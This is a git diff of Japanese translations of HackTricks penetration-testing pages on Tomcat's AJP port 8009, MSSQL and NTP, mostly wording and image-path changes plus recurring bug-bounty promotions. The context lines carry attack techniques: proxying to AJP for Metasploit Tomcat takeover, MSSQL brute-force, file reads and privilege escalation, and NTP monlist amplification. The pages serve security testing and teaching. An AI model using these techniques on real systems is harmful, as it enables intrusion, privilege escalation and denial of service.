@ -37,7 +37,7 @@ From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https:
|
|||
|
||||
また興味深いのは:
|
||||
|
||||
> ajp13プロトコルはパケット指向です。パフォーマンスの理由から、より読みやすいプレーンテキストではなくバイナリ形式が選択されたと思われます。WebサーバーはTCP接続を介してサーブレットコンテナと通信します。ソケットの作成にかかる高価なプロセスを削減するために、Webサーバーはサーブレットコンテナへの持続的なTCP接続を維持し、複数のリクエスト/レスポンスサイクルに対して接続を再利用しようとします。
|
||||
> ajp13プロトコルはパケット指向です。パフォーマンスの理由から、より読みやすいプレーンテキストではなく、バイナリ形式が選択されたと思われます。WebサーバーはTCP接続を介してサーブレットコンテナと通信します。ソケットの作成にかかる高価なプロセスを削減するために、Webサーバーはサーブレットコンテナへの持続的なTCP接続を維持し、複数のリクエスト/レスポンスサイクルに対して接続を再利用しようとします。
|
||||
|
||||
**デフォルトポート:** 8009
|
||||
```
|
||||
|
@ -64,7 +64,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
|||
|
||||
### Apache AJPプロキシ
|
||||
|
||||
通常、ポート8009が開いていて他のウェブポートが開いていないことはめったにありません。その場合、既存のツール(例:Metasploit)を使用して侵入することができれば便利です。引用の一つに述べられているように、Apacheを悪用してリクエストをTomcatのポート8009にプロキシすることができます。参考文献には、それを行うための素晴らしいガイドがあります(まずそれを読んでください)。以下は、私自身のマシンで使用したコマンドの概要です。必要ないと思われる一部の元の指示は省略しました。
|
||||
通常、ポート8009が開いていて他のウェブポートが開いていないことはめったにありません。その場合、既存のツール(例:Metasploit)を使用して侵入することができれば便利です。引用の一つによれば、Apacheを使用してリクエストをTomcatのポート8009にプロキシすることができます。参考文献には、それを行うための素晴らしいガイドがあります(まずは読んでください)。以下は、私自身のマシンで使用したコマンドの概要です。必要ないと思われる一部の元の指示は省略しました。
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
|
@ -82,7 +82,7 @@ sudo a2enmod proxy_http
|
|||
sudo a2enmod proxy_ajp
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
このセットアップを使用することの良い副作用は、AJPプロトコルがいくらかバイナリであるため、設置されているIDS/IPSシステムを阻止する可能性があることですが、これは確認していません。これで、通常のメタスプロイトのトムキャットの脆弱性を127.0.0.1:80に向けるだけで、そのシステムを乗っ取ることができます。以下はメタスプロイトの出力です。
|
||||
このセットアップを使用することの良い副作用は、AJPプロトコルがいくぶんバイナリであるため、設置されているIDS/IPSシステムを阻止する可能性があることですが、これは確認していません。これで、通常のメタスプロイトのトムキャットの脆弱性を127.0.0.1:80に向けるだけで、そのシステムを乗っ取ることができます。以下はメタスプロイトの出力です。
|
||||
```bash
|
||||
msf exploit(tomcat_mgr_deploy) > show options
|
||||
|
||||
|
@ -172,7 +172,7 @@ curl http://127.0.0.1:80
|
|||
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
|
@ -185,7 +185,7 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofに登録**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
[**HackenProofにサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -193,10 +193,10 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -23,7 +23,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
|
@ -134,76 +134,74 @@ $ echo "SELECT @@VERSION" | sqlcmd -S <target_ip> -U <username> -P <password>
|
|||
|
||||
MSSQL Serverに接続してユーザーを列挙するために、以下の手法を使用できます。
|
||||
|
||||
1. ユーザー名とパスワードの組み合わせを総当たり攻撃するために、ユーザー名の辞書攻撃を実行します。一般的なユーザー名(例:admin、root)や一般的なパスワード(例:password、123456)を使用して攻撃します。
|
||||
1. ユーザー名とパスワードの組み合わせを総当たり攻撃するために、ユーザー名の辞書攻撃を実行します。一般的なユーザー名(例:admin、root)や、組織のユーザー名のパターンを使用してください。
|
||||
|
||||
2. ユーザー名を特定するために、MSSQL Serverのシステムテーブル(例:sys.syslogins)をクエリします。以下のコマンドを使用します。
|
||||
2. ユーザー名を特定したら、パスワードの総当たり攻撃を実行します。一般的なパスワード(例:password、123456)や、組織のパスワードポリシーに基づいたパスワードのパターンを使用してください。
|
||||
|
||||
```
|
||||
$ echo "SELECT name FROM sys.syslogins" | sqlcmd -S <target_ip> -U <username> -P <password>
|
||||
```
|
||||
3. もしくは、既知のユーザー名とパスワードの組み合わせを使用して、MSSQL Serverに接続します。
|
||||
|
||||
##### データベースの列挙
|
||||
|
||||
MSSQL Serverに接続してデータベースを列挙するために、以下の手法を使用できます。
|
||||
|
||||
1. データベース名を特定するために、MSSQL Serverのシステムテーブル(例:sys.sysdatabases)をクエリします。以下のコマンドを使用します。
|
||||
1. データベースの一覧を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT name FROM sys.sysdatabases" | sqlcmd -S <target_ip> -U <username> -P <password>
|
||||
$ echo "SELECT name FROM sys.databases" | sqlcmd -S <target_ip> -U <username> -P <password>
|
||||
```
|
||||
|
||||
2. データベースのバージョン情報を取得するために、以下のコマンドを使用します。
|
||||
2. データベースの詳細情報を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT @@VERSION" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
$ echo "SELECT * FROM sys.databases" | sqlcmd -S <target_ip> -U <username> -P <password>
|
||||
```
|
||||
|
||||
##### テーブルの列挙
|
||||
|
||||
MSSQL Serverに接続してテーブルを列挙するために、以下の手法を使用できます。
|
||||
|
||||
1. テーブル名を特定するために、MSSQL Serverのシステムテーブル(例:sys.sysobjects)をクエリします。以下のコマンドを使用します。
|
||||
1. テーブルの一覧を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT name FROM sys.sysobjects WHERE xtype = 'U'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
$ echo "SELECT name FROM sys.tables" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
2. テーブルのカラム情報を取得するために、以下のコマンドを使用します。
|
||||
2. テーブルの詳細情報を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<table_name>'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
$ echo "SELECT * FROM sys.tables" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
##### カラムの列挙
|
||||
|
||||
MSSQL Serverに接続してカラムを列挙するために、以下の手法を使用できます。
|
||||
|
||||
1. カラムの一覧を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('<table_name>')" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
2. カラムの詳細情報を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT * FROM sys.columns WHERE object_id = OBJECT_ID('<table_name>')" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
##### ストアドプロシージャの列挙
|
||||
|
||||
MSSQL Serverに接続してストアドプロシージャを列挙するために、以下の手法を使用できます。
|
||||
|
||||
1. ストアドプロシージャ名を特定するために、MSSQL Serverのシステムテーブル(例:sys.sysobjects)をクエリします。以下のコマンドを使用します。
|
||||
1. ストアドプロシージャの一覧を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT name FROM sys.sysobjects WHERE xtype = 'P'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
$ echo "SELECT name FROM sys.procedures" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
2. ストアドプロシージャの定義を取得するために、以下のコマンドを使用します。
|
||||
2. ストアドプロシージャの詳細情報を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "EXEC sp_helptext '<stored_procedure_name>'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
##### ユーザー権限の列挙
|
||||
|
||||
MSSQL Serverに接続してユーザーの権限を列挙するために、以下の手法を使用できます。
|
||||
|
||||
1. ユーザーの権限を特定するために、MSSQL Serverのシステムテーブル(例:sys.sysprotects)をクエリします。以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT * FROM sys.sysprotects" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
2. 特定のユーザーの権限を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "EXEC sp_helprotect '<username>'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
$ echo "SELECT * FROM sys.procedures" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
```sql
|
||||
# Get version
|
||||
|
@ -382,7 +380,7 @@ EXECUTE sp_OADestroy @OLE
|
|||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
ただし、**`BULK`** オプションを使用するには、**`ADMINISTER BULK OPERATIONS`** または **`ADMINISTER DATABASE BULK OPERATIONS`** の権限が必要です。
|
||||
しかし、**`BULK`** オプションを使用するには、**`ADMINISTER BULK OPERATIONS`** または **`ADMINISTER DATABASE BULK OPERATIONS`** の権限が必要です。
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
|
@ -442,32 +440,32 @@ Use master;
|
|||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
**その他の例**については、[**元のソース**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)を参照してください。
|
||||
**さらなる例**については、[**元のソース**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)を参照してください。
|
||||
|
||||
### MSSQLユーザー定義関数でのRCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
カスタム関数を使用して、MSSQL内で.NET dllを読み込むことが可能です。ただし、これには`dbo`アクセスが必要ですので、データベースへの接続は`sa`または管理者の役割である必要があります。
|
||||
カスタム関数を使用して、MSSQL内で.NET dllを**ロードすることが可能**です。ただし、これには`dbo`アクセスが必要ですので、データベースへの接続は`sa`または管理者権限のあるユーザーである必要があります。
|
||||
|
||||
[**このリンク**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)を参照して、例をご覧ください。
|
||||
[**このリンク**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)を参照して、例を確認してください。
|
||||
|
||||
### RCEの他の方法
|
||||
|
||||
コマンドの実行を取得するための他の方法もあります。例えば、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)の追加、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加があります。
|
||||
コマンドの実行を取得するための他の方法もあります。例えば、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)の追加、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加などがあります。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
**web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
**web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
[**HackenProofにサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -509,7 +507,7 @@ EXEC sp_elevate_me
|
|||
--3. Verify your user is a sysadmin
|
||||
SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
**metasploit**モジュールを使用することができます。
|
||||
**メタスプロイト**モジュールを使用することができます。
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
|
@ -554,7 +552,7 @@ REVERT
|
|||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
または、**PS** スクリプトを使用しても同様の結果を得ることができます:
|
||||
または、**PS** スクリプトを使用しても実行できます:
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
|
@ -593,7 +591,7 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
|
|
|
@ -7,25 +7,25 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -68,7 +68,7 @@ NTPサービスの列挙結果を解析する際には、以下の情報に注
|
|||
|
||||
2. サーバーの設定情報: サーバーの設定情報は、セキュリティ上の問題や攻撃手法の選択に影響を与える可能性があります。
|
||||
|
||||
3. サーバーの応答時間: サーバーの応答時間は、サービスの可用性やパフォーマンスに関する情報を提供します。
|
||||
3. サーバーの応答時間: サーバーの応答時間は、サーバーの負荷状況や応答性能を評価するために重要です。
|
||||
|
||||
### NTPサービスの攻撃手法
|
||||
|
||||
|
@ -76,23 +76,23 @@ NTPサービスに対する攻撃手法には、以下のものがあります
|
|||
|
||||
1. NTPサーバーの乗っ取り: 脆弱性を悪用してNTPサーバーを乗っ取り、攻撃者が任意の時刻情報を送信できるようにします。
|
||||
|
||||
2. NTPサーバーの過負荷攻撃: 大量のNTPリクエストを送信して、NTPサーバーを過負荷状態に追い込みます。
|
||||
2. NTPサーバーの過負荷攻撃: 大量のNTPリクエストを送信して、NTPサーバーを過負荷状態に追い込むことで、サービスの停止や遅延を引き起こします。
|
||||
|
||||
3. NTPサーバーの情報漏洩: サーバーの設定情報や時刻情報が漏洩する可能性があります。これにより、攻撃者はサーバーの脆弱性を特定し、攻撃を行うことができます。
|
||||
3. NTPサーバーの情報漏洩: サーバーの設定情報や時刻情報が漏洩する可能性があります。これにより、攻撃者はシステムの構造やセキュリティ上の問題を特定することができます。
|
||||
|
||||
### NTPサービスの対策
|
||||
|
||||
NTPサービスの対策としては、以下のことに注意する必要があります。
|
||||
NTPサービスのセキュリティを向上させるためには、以下の対策を実施することが重要です。
|
||||
|
||||
1. 最新のバージョンの使用: NTPサーバーを最新のバージョンにアップデートし、セキュリティパッチを適用します。
|
||||
|
||||
2. 不要な機能の無効化: 不要な機能を無効化することで、攻撃者の攻撃対象を減らすことができます。
|
||||
2. 不要な機能の無効化: 不要な機能やサービスを無効化することで、攻撃面を減らすことができます。
|
||||
|
||||
3. アクセス制御の設定: NTPサーバーへのアクセスを制限するために、適切なアクセス制御リスト(ACL)を設定します。
|
||||
3. アクセス制御の設定: NTPサーバーへのアクセスを制限し、信頼できるホストからのみのアクセスを許可します。
|
||||
|
||||
4. ログの監視: NTPサーバーのログを監視し、異常なアクティビティを検知することが重要です。
|
||||
|
||||
5. セキュリティ意識の向上: システム管理者やユーザーに対して、NTPサービスのセキュリティに関する意識を高める教育を行います。
|
||||
5. セキュリティ意識の向上: システム管理者やユーザーに対して、セキュリティ意識の向上を促すトレーニングや教育を実施します。
|
||||
```bash
|
||||
ntpq -c readlist <IP_ADDRESS>
|
||||
ntpq -c readvar <IP_ADDRESS>
|
||||
|
@ -116,7 +116,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
|||
|
||||
NTPプロトコルは、TCPのようなハンドシェイクを必要としないUDPを使用して動作するため、リクエストの記録はありません。そのため、NTP DDoS増幅攻撃は、攻撃者がスプーフィングされた送信元IPを使用してパケットを作成し、それらをNTPサーバーに送信することから始まります。攻撃者は最初に数バイトのパケットを作成しますが、NTPは大量のデータで応答するため、この攻撃が増幅されます。
|
||||
|
||||
_MONLISTコマンド_: これはNTPプロトコルのコマンドであり、ほとんど使用されませんが、このコマンドがこの攻撃の主な原因です。ただし、MONLISTコマンドの使用目的は、NTP時刻サービスに接続した最後の600のクライアントの詳細を提供することです。以下にコマンドの構文を示します:
|
||||
_MONLISTコマンド_: これはNTPプロトコルのコマンドであり、ほとんど使用されませんが、このコマンドがこの攻撃の主な原因です。ただし、MONLISTコマンドの使用目的は、NTP時刻サービスに接続した最後の600のクライアントの詳細を提供することです。以下はコマンドの構文です:
|
||||
```bash
|
||||
ntpdc -n -c monlist <IP>
|
||||
```
|
||||
|
@ -143,20 +143,20 @@ Name: Nmap
|
|||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
